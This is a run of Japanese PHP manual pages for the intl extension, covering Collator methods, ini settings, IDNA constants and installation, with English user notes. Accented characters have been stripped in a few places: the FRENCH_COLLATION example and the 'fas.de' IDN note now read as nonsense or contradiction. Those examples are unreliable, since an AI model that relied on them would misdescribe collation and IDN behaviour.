    • IntlChar::isprint — Check if code point is a printable character
    • IntlChar::ispunct — Check if code point is punctuation character
    • IntlChar::isspace — Check if code point is a space character
    • IntlChar::istitle — Check if code point is a titlecase letter
    • IntlChar::isUAlphabetic — Check if code point has the Alphabetic Unicode property
    • IntlChar::isULowercase — Check if code point has the Lowercase Unicode property
    • IntlChar::isupper — Check if code point has the general category "Lu" (uppercase letter)
    • IntlChar::isUUppercase — Check if code point has the Uppercase Unicode property
    • IntlChar::isUWhiteSpace — Check if code point has the White_Space Unicode property
    • IntlChar::isWhitespace — Check if code point is a whitespace character according to ICU
    • IntlChar::isxdigit — Check if code point is a hexadecimal digit
    • IntlChar::ord — Return Unicode code point value of character
    • IntlChar::tolower — Make Unicode character lowercase
    • IntlChar::totitle — Make Unicode character titlecase
    • IntlChar::toupper — Make Unicode character uppercase
  • IntlException — intl のエラー用の例外クラス
  • IntlIterator — The IntlIterator class
    • IntlIterator::current — Get the current element
    • IntlIterator::key — Get the current key
    • IntlIterator::next — Move forward to the next element
    • IntlIterator::rewind — Rewind the iterator to the first element
    • IntlIterator::valid — Check if current position is valid
  • 国際化 関数
    • intl_error_name — 指定したエラーコードに対応する名前を取得する
    • intl_get_error_code — 直近のエラーコードを取得する
    • intl_get_error_message — 直近のエラーの説明を取得する
    • intl_is_failure — 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

Ryan 23-Feb-2020 10:15
Most of this classes are not documented clearly.
You can use https://github.com/salarmehr/cosmopolitan that is based on Intl extension and way easier to use.


はじめに

国際化用拡張モジュール (これ以降では Intl と略します) は » ICU ライブラリのラッパーです。 PHP プログラマが、ロケール関連のさまざまな操作を行えるようにします。 フォーマット、音訳、エンコード変換、カレンダーの処理、 » UCA 準拠の照合順序 (collation)、 テキストの区切り、ロケール識別子やタイムゾーンや書記素を用いた操作などが可能です。

ICU の API に従って作成されているので、 C/C++ や Java で ICU を使ったことがあるかたは簡単に PHP の API も使えることでしょう。 また、ICU のドキュメントを参考にすればさまざまな ICU の関数について知ることができます。

Intl はいくつかのモジュールで構成されており、 各モジュールが対応する ICU API を公開しています。

  • Collator: ロケールに応じた適切な並び順を考慮して、文字列の比較を行います。
  • Number Formatter: 各地域固有の書式、あるいは指定した規則に基づいて数値を表示したり、 文字列を数値として解釈したりします。
  • Message Formatter: メッセージ関連のデータ (数値や日付など) をパターンやロケールにあわせて適切にフォーマットしたり、 メッセージをパースしてデータを取り出したりします。 複数形を扱ったり、ロケールごとの数値や通貨や条件などを扱ったりすることもできます。
  • Normalizer: テキストに対して Unicode の正規化を行ったり、 指定した文字列が正規化済みかどうかを調べたりします。
  • Locale: ロケール識別子を扱うための機能を提供します。 たとえばロケール識別子のパースや作成、検索などを行います。
  • Calendar: ロケールにあわせたカレンダーの操作を行うためのクラスを提供します。 指定したロケールのタイムゾーンや週の最初の曜日を取得したり、 サマータイム中であるか否かを調べたりすることもできます。
  • Timezone: » "Olson" database のラッパーを提供します。 世界中のタイムゾーンに関する情報が含まれています。
  • Date formatter: ローカライズした書式や指定したパターン、ルールに基づいて日付と時刻を表示できるようにします。 また、文字列を日付や時刻としてパースすることもできます。

リンク

  • » ICU のドキュメント

  • » ICU ユーザーガイド

  • » Unicode Collation Algorithm

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールをビルドするには » ICU ライブラリのバージョン 4.0.0 以降をインストールする必要があります。 PHP 7.4.0 以降は、ICU 50.1 以降が必要です。

この拡張モジュールは PHP 5.3.0 以降のバージョンに同梱されています。 それとは別に PECL 版も存在し、これは 5.2.0 以降のすべてのバージョンの PHP で使うことができます (5.2.4 以降を推奨します)。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは、PHP 5.3.0 以降には同梱されています。一方 PHP 5.2.0 以降では PECL 版がインストールできます。つまり、intl 拡張モジュールのインストール方法は二通りあるということです。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/intl.

一方、同梱されているバージョンを使うには、PHP のコンパイル時に --enable-intl を指定して有効化します。

ICU のインストール場所が標準と異なる場合は、その場所を環境変数 LD_LIBRARY_PATH に指定しましょう。 そうすればリンカがライブラリを見つけてくれるようになります。

$ export LD_LIBRARY_PATH=/opt/icu/lib

PHP と ICU をデフォルトの場所にインストールしている場合は、 `configure' 時の追加のオプションは不要です。

User Contributed Notes

lee dot wp14 at gmail dot com 28-Dec-2020 01:06
For ubuntu: apt install php-intl
Anonymous 18-Jun-2018 07:28
For windows I had to uncomment extension=intl in the php.ini
hello at scottgruber dot me 17-Jun-2016 06:29
For php7 on Ubuntu

sudo apt-get install php7.0-intl
ahmedelnaa2010 at gmail dot com 30-Mar-2016 01:00
- open your php.ini file    c:/xampp/php/php.ini or search how to find it, it's up to your server.
- find for ;extension=php_intl.dll
- remove the comment ;
- restart the apache
- then it's working :)

i used the same when i have problem in any extensions, open php.ini then search for the extension then remove the comment.
daniel at danielphenry dot com 29-Apr-2015 04:50
To install on windows uncommenting the dll in php.ini is not enough you also need to include several other libraries in your system path (not user path). Found these details here: http://stackoverflow.com/a/6086991/819883
nirbhabbarat at gmail dot com 09-Apr-2015 05:23
OS : CentOS 5.10
PHP : 5.5.12
We tried installing via *pecl install intl* , but we were getting below warning in php error logs

PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20121212/intl.so' - /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.9' not found (required by /usr/local/lib/libicuio.so.55) in Unknown on line 0

Later we tried icu source from http://site.icu-project.org/download
Compile ICU ./configure --prefix=/opt/icu && make && make install

And post which we compiled PHP via source with following configurations:
  --enable-intl
  --with-icu-dir=/opt/icu
jonwebb at tecbiz dot eu 29-Apr-2014 02:41
On windows servers, open your php.ini (which should be in Program Files/PHP), and simply uncomment the extension.
extension=php_intl.dll
Restart IIS Webserver - done.
jltupac at hotmail dot com 17-May-2013 05:03
Ubuntu:
sudo apt-get install php5-intl
Epaphus 05-Mar-2013 10:39
You need to install the library.

yum install libicu-devel

Will get it working with "pecl install intl"
spectrumcat 12-Feb-2013 10:45
On Fedora 18 "pecl install intl" wasn't working after "yum -y install icu" so I had to run "yum -y install php-intl" instead
xgretsch 04-Apr-2011 03:46
I'm running on Mac OS X using a MacPorts install. According to this page, my vanilla version of PHP 5.3.5 from MacPorts should include the intl functions by default. As far as I can see from phpinfo(), the MacPorts version did not disable it. However, the functions aren't visible and don't work.

It seems to require an additional:

sudo port install php5-intl

After which everything bursts into life.


実行時設定

php.ini の設定により動作が変化します。

Intl 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
intl.default_locale |  | PHP_INI_ALL |
intl.error_level | 0 | PHP_INI_ALL |
intl.use_exceptions | 0 | PHP_INI_ALL | PHP 5.5 および PECL 3.0.0a1 以降で使用可能。

以下に設定ディレクティブに関する 簡単な説明を示します。

intl.default_locale string

何も指定しなかった (引数を省略したり NULL を渡したりした) 場合に intl 関数が使うロケール。 これは ICU のロケールであり、システムのロケールではありません。 組み込みの ICU ロケールとそのデータは、 » http://demo.icu-project.org/icu-bin/locexp で確認できます。

デフォルト値は空文字列で、これは ICU のデフォルトロケールを意味します。 いったん設定したら、ini の設定でこのデフォルト値に戻すことはできません。 このデフォルトに依存することはおすすめしません。その値がサーバーの環境に依存するからです。

intl.error_level int

ICU 関数でエラーが発生したときに生成されるエラーメッセージのレベル。 PHP のエラーレベル、すなわち E_WARNING などになります。 0 を設定すれば、エラーメッセージを抑制できます。 この設定は、エラーを表す返り値や intl_get_error_code() が返す値、 そしてエラーコードやエラーメッセージを取得するクラスメソッドなどには影響しません。 E_ERROR を選ぶと、intl クラスでエラーが発生したときにスクリプトを停止させます。

デフォルト値は 0 です。

intl.use_exceptions int

true にすると、intl 関数でエラーが発生したときに例外を発生させます。 この例外は、IntlException 型になります。 intl.error_level によるエラーメッセージと組み合わせて使うことになるでしょう。

デフォルト値は false です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

INTL_ICU_VERSION (string)
ICUライブラリのバージョン。10進の数字をドットで区切った文字列です。
INTL_MAX_LOCALE_LEN (int)
ロケール名の長さの制限。PHP コード内では 80 文字までに制限されており、 それより長いロケール名は使用できません。
IDNA_DEFAULT (int)
IDN 関数の入力で、アサインされていないコードポイントの処理を拒否し、 入力がドメイン名 ASCII 規則を満たすかどうかをチェックしません。
IDNA_ALLOW_UNASSIGNED (int)
IDN 関数の入力で、アサインされていないコードポイントの処理を許可します。
IDNA_USE_STD3_RULES (int)
IDN 関数の入力がドメイン名 ASCII 規則を満たすかどうかをチェックします。
IDNA_CHECK_BIDI (int)
入力が BiDi の規則を満たすかどうかをチェックします。 IDNA2003 の実装ではこの設定は無視され、常にこのチェックを行います。
IDNA_CHECK_CONTEXTJ (int)
入力が CONTEXTJ の規則を満たすかどうかをチェックします。 IDNA2003 の実装ではこの設定は無視されます。このチェックは IDNA2008 から追加されたものだからです。
IDNA_NONTRANSITIONAL_TO_ASCII (int)
idn_to_ascii() で非移行的処理をするためのオプション。 デフォルトでは移行的処理となります。このオプションは IDNA2003 の実装では無視されます。
IDNA_NONTRANSITIONAL_TO_UNICODE (int)
idn_to_utf8() で非移行的処理をするためのオプション。 デフォルトでは移行的処理となります。このオプションは IDNA2003 の実装では無視されます。
INTL_IDNA_VARIANT_2003 (int)
IDNA 2003 のアルゴリズムを idn_to_utf8() と idn_to_ascii() で使います。これはデフォルトの設定です。 この定数およびデフォルトの使用は、PHP 7.2.0 以降は非推奨です。
INTL_IDNA_VARIANT_UTS46 (int)
UTS #46 アルゴリズムを idn_to_utf8() と idn_to_ascii() で使います。 ICU 4.6 以降で利用可能です。
IDNA_ERROR_EMPTY_LABEL (int)
IDNA_ERROR_LABEL_TOO_LONG (int)
IDNA_ERROR_DOMAIN_NAME_TOO_LONG (int)
IDNA_ERROR_LEADING_HYPHEN (int)
IDNA_ERROR_TRAILING_HYPHEN (int)
IDNA_ERROR_HYPHEN_3_4 (int)
IDNA_ERROR_LEADING_COMBINING_MARK (int)
IDNA_ERROR_DISALLOWED (int)
IDNA_ERROR_PUNYCODE (int)
IDNA_ERROR_LABEL_HAS_DOT (int)
IDNA_ERROR_INVALID_ACE_LABEL (int)
IDNA_ERROR_BIDI (int)
IDNA_ERROR_CONTEXTJ (int)
UTS #46 アルゴリズムを idn_to_utf8() と idn_to_ascii() で使うときに、 これらのエラーがビットセットで報告されます。

User Contributed Notes

PHP Guru 03-Oct-2020 03:45
idn_to_ascii('fas.de');

will return fass.de
(Due to Germans using the s symbol as a contraction of ss)

idn_to_ascii('fas.de', IDNA_NONTRANSITIONAL_TO_ASCII);

will return xn--fa-hia.de
(This is the correct behavior too allow fas.de and fass.de to be registered as different domain names.)

idn_to_utf8('xn--fa-hia.de');

will return fass.de

idn_to_utf8('xn--fa-hia.de', IDNA_NONTRANSITIONAL_TO_UNICODE);

will return fas.de
(Again this is the correct behavior.)


基本的な使用法

各モジュールには、 手続き型とオブジェクト指向型の二種類の API が存在します。 それぞれの API について、対応するドキュメントで説明します。

注意:

入力文字列は、すべて UTF-8 でエンコードされていなければなりません。 出力文字列も、すべて UTF-8 となります。

例1 手続き型 API の使用例

<?php
$coll  = collator_create('en_US');
$result = collator_compare($coll, "string#1", "string#2");
?>

例2 オブジェクト指向型 API の使用例

<?php
$coll = new Collator('en_US');
$al   = $coll->getLocale(Locale::ACTUAL_LOCALE);
echo "実際のロケール: $al\n";

$formatter = new NumberFormatter('en_US', NumberFormatter::DECIMAL);
echo $formatter->format(1234567);
?>

User Contributed Notes

RoboTamer 05-Jun-2012 08:26
Get the default currency for a country:

<?php
$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('ja_JP', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);
?>


Collator クラス

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

はじめに

各ロケール固有の並び順を考慮した文字列の比較機能を提供します。

クラス概要

Collator {
/* メソッド */
public __construct ( string $locale )
public asort ( array &$array , int $flags = Collator::SORT_REGULAR ) : bool
public compare ( string $string1 , string $string2 ) : int|false
public static create ( string $locale ) : Collator|null
public getAttribute ( int $attribute ) : int|false
public getErrorCode ( ) : int|false
public getErrorMessage ( ) : string|false
public getLocale ( int $type ) : string|false
public getSortKey ( string $string ) : string|false
public getStrength ( ) : int
public setAttribute ( int $attribute , int $value ) : bool
public setStrength ( int $strength ) : bool
public sortWithSortKeys ( array &$array ) : bool
public sort ( array &$array , int $flags = Collator::SORT_REGULAR ) : bool
}

定義済み定数

Collator::FRENCH_COLLATION (int)

文字列の後に続くさまざまなアクセントによる並べ替えを行います。 この属性は、フランス語などの一部のロケールでは自動的に On となります。 通常は、この属性を明示的に設定する必要はありません。 これを On にすると文字列の比較の効率が落ちますが、 ソートキーの長さは影響を受けません。 使用できる値は次のとおりです。

  • Collator::ON
  • Collator::OFF(デフォルト)
  • Collator::DEFAULT_VALUE

例1 FRENCH_COLLATION のルール

  • F=OFF cote < cote < cote < cote
  • F=ON cote < cote < cote < cote

Collator::ALTERNATE_HANDLING (int)

Alternate 属性は、UCA における、いわゆる "可変文字 (variable characters)"、 つまり空白や句読点、記号の処理方法を制御するものです。 Alternate を NonIgnorable (N) に設定すると、これらの文字の違いを通常の文字の違いと同じように扱います。 Alternate を Shifted (S) に設定すると、これらの文字の違いの重要度を低くします。 Shifted は、Strength を Quaternary (第四段階) に指定して使用することが多くなります。 この場合、文字列の比較において空白や句読点そして記号の違いを考慮するのは それ以外の要素 (文字、アクセント、大文字小文字) がすべて一致する場合のみとなります。 Alternate を Shifted 以外にした場合は、 Strength が 3 のときと 4 のときの違いがなくなります。 詳細な情報やサンプルは、 » UCA の Variable_Weighting を参照ください。 Alternate の値を単なる On や Off にしていない理由は、将来的にさらに別の値が追加される可能性があるからです。 UCA のオプション Blanked を表すには、Strength を 3 そして Alternate を Shifted に設定します。 大半のロケールでは、デフォルトは NonIgnorable です。 Shifted を選択すると、記号類以外が等しい文字列がたくさんあるときに処理速度が低下します。 強度レベルを上げない限り、ソートキーの長さには影響を与えません。

使用できる値は次のとおりです。

  • Collator::NON_IGNORABLE(デフォルト)
  • Collator::SHIFTED
  • Collator::DEFAULT_VALUE

例2 ALTERNATE_HANDLING のルール

  • S=3, A=N di Silva < Di Silva < diSilva < U.S.A. < USA
  • S=3, A=S di Silva = diSilva < Di Silva < U.S.A. = USA
  • S=4, A=S di Silva < diSilva < Di Silva < U.S.A. < USA

Collator::CASE_FIRST (int)

Case_First 属性は、 文字列のその他の部分に違いがないときに 大文字と小文字のどちらが前にくるかを指定するものです。 使用できる値は、 Uppercase_First (U) と Lowercase_First (L)、そして標準の Default と Off です。 Off と Lowercase_First は、結果に関していえばほとんど違いはありません。 そのため、普通は Lowercase_First を使うことはありません。 Off あるいは Uppercase_First を使用することになります (X と L の違いを知りたい人は、Collation Customization を調べてください)。 L あるいは U のいずれを指定しても、文字列比較の処理速度には影響を与えません。 しかし、ソートキーの長さには影響を与えます。

使用できる値は次のとおりです。

  • Collator::OFF(デフォルト)
  • Collator::LOWER_FIRST
  • Collator::UPPER_FIRST
  • Collator:DEFAULT

例3 CASE_FIRST のルール

  • C=X or C=L "china" < "China" < "denmark" < "Denmark"
  • C=U "China" < "china" < "Denmark" < "denmark"

Collator::CASE_LEVEL (int)

Case_Level 属性は、アクセントは無視するものの大文字小文字は区別したい場合に使用します。 そんな場合は、Strength を Primary にして Case_Level を On とします。 大半のロケールでは、この設定はデフォルトで Off となっています。 この属性を On にすると、文字列の比較のパフォーマンスやソートキーに多少影響を及ぼします。

使用できる値は次のとおりです。

  • Collator::OFF(デフォルト)
  • Collator::ON
  • Collator::DEFAULT_VALUE

例4 CASE_LEVEL のルール

  • S=1, E=X role = Role = role
  • S=1, E=O role = role < Role

Collator::NORMALIZATION_MODE (int)

Normalization 設定は、比較時にテキストを正規化するか否かを指定します。 この設定を off (多くのロケールにおけるデフォルト設定です) にしても、 一般的な使用法ではほぼ正確に利用できます (詳細は UTN #5 を参照ください)。 問題となるのは、アクセント記号が正規の位置以外に登場する場合などです。 この設定を On にすると、 どんなテキストが与えられたとしても可能な限り結果を保証するようにします。 この属性を On にすると、 文字列比較のパフォーマンスに中程度の影響を及ぼします。 影響の程度は、正規化を要する並びの登場頻度に依存します。 ソートキーの長さには、目立った影響は及ぼしません。 入力テキストが NFD あるいは NFKD 形式で正規化されている場合は、 このオプションを有効にする必要はありません。

使用できる値は次のとおりです。

  • Collator::OFF(デフォルト)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::STRENGTH (int)

ICU Collation Service は、多くの比較レベルをサポートしています ("レベル" という名前ですが、"強度" と呼ばれることもあります)。 これらのカテゴリを用いることで、ICU は、 各地域の規約にあわせた適切な文字列の並べ替えを正確に行えるようになります。 また、各段階を選択して採用することで、 テキスト内の文字列検索をさまざまな条件で行うことも可能になります。 詳細な情報は collator_set_strength() を参照ください。

使用できる値は次のとおりです。

  • Collator::PRIMARY
  • Collator::SECONDARY
  • Collator::TERTIARY(デフォルト)
  • Collator::QUATERNARY
  • Collator::IDENTICAL
  • Collator::DEFAULT_VALUE

Collator::HIRAGANA_QUATERNARY_MODE (int)

JIS x 4061 との互換性を維持するには、さらなるレベルを追加して ひらがなとカタカナを区別する必要があります。 標準規格との互換性を要する場合は、この属性を On にして強度を Quaternary にしなければなりません。 これは、ソートキーの長さにも文字列比較のパフォーマンスにも影響を及ぼします。

使用できる値は次のとおりです。

  • Collator::OFF(デフォルト)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::NUMERIC_COLLATION (int)

on にすると、数値形式の文字列の各桁を数値として使用した照合キーを生成します。 これにより、'100' のほうが '2' より「後」に並ぶようになります。

使用できる値は次のとおりです。

  • Collator::OFF(デフォルト)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::DEFAULT_VALUE (int)
Collator::PRIMARY (int)
Collator::SECONDARY (int)
Collator::TERTIARY (int)
Collator::DEFAULT_STRENGTH (int)
Collator::QUATERNARY (int)
Collator::IDENTICAL (int)
Collator::OFF (int)
Collator::ON (int)
Collator::SHIFTED (int)
Collator::NON_IGNORABLE (int)
Collator::LOWER_FIRST (int)
Collator::UPPER_FIRST (int)

目次

  • Collator::asort — インデックスの情報を保持しつつ配列を並べ替える
  • Collator::compare — ふたつの Unicode 文字列を比較する
  • Collator::__construct — collator を作成する
  • Collator::create — collator を作成する
  • Collator::getAttribute — 照合用の属性の値を取得する
  • Collator::getErrorCode — collator の直近のエラーコードを取得する
  • Collator::getErrorMessage — collator の直近のエラーコードのテキストを取得する
  • Collator::getLocale — collator のロケール名を取得する
  • Collator::getSortKey — 文字列のソート用のキーを取得する
  • Collator::getStrength — 現在の照合強度を取得する
  • Collator::setAttribute — 照合用の属性を設定する
  • Collator::setStrength — 照合強度を設定する
  • Collator::sortWithSortKeys — 指定した collator とキーで配列を並べ替える
  • Collator::sort — 指定した collator で配列を並べ替える

User Contributed Notes

There are no user contributed notes for this page.


インデックスの情報を保持しつつ配列を並べ替える

  • ≪ Collator
  • Collator::compare ≫
  • PHP Manual
  • Collator
  • インデックスの情報を保持しつつ配列を並べ替える

Collator::asort

collator_asort

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::asort -- collator_asort — インデックスの情報を保持しつつ配列を並べ替える

説明

オブジェクト指向型

public Collator::asort ( array &$array , int $flags = Collator::SORT_REGULAR ) : bool

手続き型

collator_asort ( Collator $object , array &$array , int $flags = Collator::SORT_REGULAR ) : bool

この関数は、インデックスと値の関係を保持したうえで配列を並べ替えます。 これを主に使用するのは、実際の並び順も重要となる連想配列です。 配列の要素には、現在のロケールの規則にしたがった並び順が適用されます。

PHP の標準関数 asort() と同等です。

パラメータ

object

Collator オブジェクト。

array

並べ替えたい文字列の配列。

flags

オプションの並べ替え方式。以下のいずれか。

  • Collator::SORT_REGULAR - 通常の比較 (型を変更しない)

  • Collator::SORT_NUMERIC - 数値としての比較

  • Collator::SORT_STRING - 文字列としての比較

デフォルトの $sort_flag の値は Collator::SORT_REGULAR です。 $sort_flag に無効な値が指定された場合も、このデフォルトを使用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 collator_asort() の例

<?php
$coll = collator_create( 'en_US' );
$arr = array(
     'a' => '100',
     'b' => '50',
     'c' => '7'
);
collator_asort( $coll, $arr, Collator::SORT_NUMERIC );
var_export( $arr );

collator_asort( $coll, $arr, Collator::SORT_STRING );
var_export( $arr );
?>

上の例の出力は以下となります。

array (
  'c' => '7',
  'b' => '50',
  'a' => '100',
)array (
  'a' => '100',
  'b' => '50',
  'c' => '7',
)

参考

  • Collator の定数
  • collator_sort() - 指定した collator で配列を並べ替える
  • collator_sort_with_sort_keys() - 指定した collator とキーで配列を並べ替える

User Contributed Notes

alix dot axel at NOSPAM dot gmail dot com 20-Feb-2011 07:31
For those of you who are looking for a way to integrate natural sorting with the UCA rules this hack seems to work:

<?php

$array = array
(
    '1', '100',
    'al', 'be',
    'Alpha', 'Beta',
    'Alpha', 'Alpha', 'Alpha',
    'かたかな',
    'img1.png', 'img2.png',
    'img10.png', 'img20.png'
);

echo '<pre>';
print_r(sortIntl($array, true));
echo '</pre>';

function sortIntl($array, $natural = true)
{
    $data = $array;

    if ($natural === true)
    {
        $data = preg_replace_callback('~([0-9]+)~', 'natsortIntl', $data);
    }

    collator_asort(collator_create('root'), $data);

    return array_intersect_key($array, $data);
}

function natsortIntl($number)
{
    return sprintf('%032d', $number);
}

?>

Output:

Array
(
    [0] => 1
    [1] => 100
    [2] => al
    [3] => be
    [4] => Alpha
    [5] => Beta
    [6] => Alpha
    [7] => Alpha
    [8] => Alpha
    [9] => かたかな
    [10] => img1.png
    [11] => img2.png
    [12] => img10.png
    [13] => img20.png
)


ふたつの Unicode 文字列を比較する

  • ≪ Collator::asort
  • Collator::__construct ≫
  • PHP Manual
  • Collator
  • ふたつの Unicode 文字列を比較する

Collator::compare

collator_compare

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::compare -- collator_compare — ふたつの Unicode 文字列を比較する

説明

オブジェクト指向型

public Collator::compare ( string $string1 , string $string2 ) : int|false

手続き型

collator_compare ( Collator $object , string $string1 , string $string2 ) : int|false

ふたつの Unicode 文字列を、比較規則にもとづいて比較します。

パラメータ

object

Collator オブジェクト。

string1

最初の文字列。

string2

2 番目の文字列。

返り値

比較結果を返します。

  • string1 が string2 より 大きい ときは 1

  • string1 と string2 が 等しい ときは 0

  • string1 が string2 より 小さい ときは -1

エラー時には bool false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 collator_compare() の例

<?php
$s1 = 'Hello';
$s2 = 'hello';

$coll = collator_create( 'en_US' );
$res  = collator_compare( $coll, $s1, $s2 );

if ($res === false) {
    echo collator_get_error_message( $coll );
} else if( $res > 0 ) {
    echo "s1 is greater than s2\n";
} else if( $res < 0 ) {
    echo "s1 is less than s2\n";
} else {
    echo "s1 is equal to s2\n";
}
?>

上の例の出力は以下となります。

s1 is greater than s2

参考

  • collator_sort() - 指定した collator で配列を並べ替える

User Contributed Notes

erik at eldata dot se 13-Dec-2020 06:53
The Collator class with method compare does what the non existing mb_strcmp, mb_strcasecmp, mb_strnatcmp and mb_strnatcasecmp would do for multibyte strings (UTF8) - but better! :-)

For "case": the Collator is case insensitive due to Collator::CASE_FIRST defaults to Collator::OFF, but can be changed with method setAttribute.

For "nat" (natural sort order for numbers): use method setAttribute with Collator::NUMERIC_COLLATION and Collator:ON to enable.


collator を作成する

  • ≪ Collator::compare
  • Collator::create ≫
  • PHP Manual
  • Collator
  • collator を作成する

Collator::__construct

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::__construct — collator を作成する

説明

public Collator::__construct ( string $locale )

新しい Collator のインスタンスを作成します。

パラメータ

locale

照合規則を使用するロケール。特殊な場合として、 null を渡した場合はデフォルトのロケールの照合規則を使用します。 "root" を渡した場合は、UCA の規則を使用します。

Locale 属性は、各国・各地域のユーザーの期待通りに並べ替えやマッチングを行うために もっとも重要な属性です。デフォルトの » UCA の並び順で正しく ("正しく" とは、その言語を使用する人の期待通りにということです) 処理できるのは、オランダ語やポルトガル語などの一部の言語だけです。 それ以外の場合は、UCA にロケールを指定して その言語に応じた適切な照合を行えるようにする必要があります。 従って、各ロケールにあわせて正しく設定した collator を使用する必要があります。 ロケールを選択すると、その他の属性の値も適切な物に自動設定されます。 従って、その他の属性については明示的に設定する必要はほとんどありません。 選択したロケールによっては、文字列比較のパフォーマンスやソートキーの長さに違いが出ることがあります。

返り値

Collator のインスタンスを返します。

エラー / 例外

エラー時には "空の" オブジェクトを返します。何が起こったのかを知るには intl_get_error_code() や intl_get_error_message() を使用します。

例

例1 Collator::__construct() の例

<?php
$coll = new Collator( 'en_CA' );
?>

参考

  • Collator::create() - collator を作成する
  • collator_create() - collator を作成する

User Contributed Notes

There are no user contributed notes for this page.


collator を作成する

  • ≪ Collator::__construct
  • Collator::getAttribute ≫
  • PHP Manual
  • Collator
  • collator を作成する

Collator::create

collator_create

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::create -- collator_create — collator を作成する

説明

オブジェクト指向型

public static Collator::create ( string $locale ) : Collator|null

手続き型

collator_create ( string $locale ) : Collator|null

すでに指定しているオプションを用いて文字列を比較します。

パラメータ

locale

照合規則を使用するロケール。特殊な場合として、 null を渡した場合はデフォルトのロケールの照合規則を使用します。 また、空文字列 ("") や "root" を渡した場合は » UCA の規則を使用します。

返り値

新しい Collator オブジェクトのインスタンス、 あるいはエラー時に null を返します。

例

例1 collator_create() の例

<?php
$coll = collator_create( 'en_US' );

if( !isset( $coll ) ) {
    printf( "Collator creation failed: %s\n", intl_get_error_message() );
    exit( 1 );
}
?>

参考

  • Collator::__construct() - collator を作成する

User Contributed Notes

There are no user contributed notes for this page.


照合用の属性の値を取得する

  • ≪ Collator::create
  • Collator::getErrorCode ≫
  • PHP Manual
  • Collator
  • 照合用の属性の値を取得する

Collator::getAttribute

collator_get_attribute

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::getAttribute -- collator_get_attribute — 照合用の属性の値を取得する

説明

オブジェクト指向型

public Collator::getAttribute ( int $attribute ) : int|false

手続き型

collator_get_attribute ( Collator $object , int $attribute ) : int|false

collator の属性の値を取得します。

パラメータ

object

Collator オブジェクト。

attribute

値を取得したい属性。

返り値

属性の値、あるいはエラー時に bool false を返します。

例

例1 collator_get_attribute() の例

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if( $val === false )
{
    // エラー処理
}
?>

参考

  • Collator の定数
  • collator_set_attribute() - 照合用の属性を設定する
  • collator_get_strength() - 現在の照合強度を取得する

User Contributed Notes

There are no user contributed notes for this page.


collator の直近のエラーコードを取得する

  • ≪ Collator::getAttribute
  • Collator::getErrorMessage ≫
  • PHP Manual
  • Collator
  • collator の直近のエラーコードを取得する

Collator::getErrorCode

collator_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::getErrorCode -- collator_get_error_code — collator の直近のエラーコードを取得する

説明

オブジェクト指向型

public Collator::getErrorCode ( ) : int|false

手続き型

collator_get_error_code ( Collator $object ) : int|false

パラメータ

object

Collator オブジェクト。

返り値

直近の Collator API 関数コールが返したエラーコードを返します。 失敗した場合に false を返します

例

例1 collator_get_error_code() の例

<?php
$coll = collator_create( 'en_US' );
if( collator_get_attribute( $coll, Collator::FRENCH_COLLATION ) === false )
        handle_error( collator_get_error_code() );
?>

参考

  • collator_get_error_message() - collator の直近のエラーコードのテキストを取得する

User Contributed Notes

There are no user contributed notes for this page.


collator の直近のエラーコードのテキストを取得する

  • ≪ Collator::getErrorCode
  • Collator::getLocale ≫
  • PHP Manual
  • Collator
  • collator の直近のエラーコードのテキストを取得する

Collator::getErrorMessage

collator_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::getErrorMessage -- collator_get_error_message — collator の直近のエラーコードのテキストを取得する

説明

オブジェクト指向型

public Collator::getErrorMessage ( ) : string|false

手続き型

collator_get_error_message ( Collator $object ) : string|false

直近のエラーのメッセージを取得します。

パラメータ

object

Collator オブジェクト。

返り値

直近の Collator API 関数コールで発生したエラーの説明を返します。 失敗した場合に false を返します

例

例1 collator_get_error_message() の例

<?php
$coll = collator_create( 'lt' );
if( collator_compare( $coll, 'y', 'k' ) === false ) {
    echo collator_get_error_message( $coll );
}
?>

参考

  • collator_get_error_code() - collator の直近のエラーコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


collator のロケール名を取得する

  • ≪ Collator::getErrorMessage
  • Collator::getSortKey ≫
  • PHP Manual
  • Collator
  • collator のロケール名を取得する

Collator::getLocale

collator_get_locale

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::getLocale -- collator_get_locale — collator のロケール名を取得する

説明

オブジェクト指向型

public Collator::getLocale ( int $type ) : string|false

手続き型

collator_get_locale ( Collator $object , int $type ) : string|false

collector のロケール名を取得します。

パラメータ

object

